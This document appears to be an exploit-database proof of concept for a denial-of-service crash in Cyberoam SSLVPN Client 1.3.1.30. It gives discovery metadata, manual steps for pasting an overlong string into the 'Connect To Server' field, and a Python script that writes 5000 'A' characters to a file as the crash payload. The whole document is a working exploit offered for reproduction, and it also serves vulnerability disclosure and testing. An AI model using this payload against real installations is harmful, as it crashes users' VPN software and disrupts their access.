#Exploit Title: Cyberoam SSLVPN Client 1.3.1.30 - 'Connect To Server' Denial of Service (PoC)#Discovery by: Victor Mondragón#Discovery Date: 2019-05-23#Vendor Homepage: https://www.cyberoam.com#Software Link: https://download.cyberoam.com/solution/optionals/i18n/CrSSL_v1.3.1.30.zip#Tested Version: 1.3.1.30#Tested on: Windows Windows 10 Single Language x64 / Windows 7 Service Pack 1 x64#Steps to produce the crash:#1.- Run python code: c_sslvpn_cts.py#2.- Open c_sslvpn_cts.txt and copy content to clipboard#3.- Open Cyberoam SSLVPN Client#4.- Select Server Settings #5.- In "Connect To Server" field paste Clipboard#6.- In "Port" type 80#7.- Select "OK"#8.- Crashed!
cod = "\x41"* 5000
f = open('c_sslvpn_cts.txt','w')
f.write(cod)
f.close()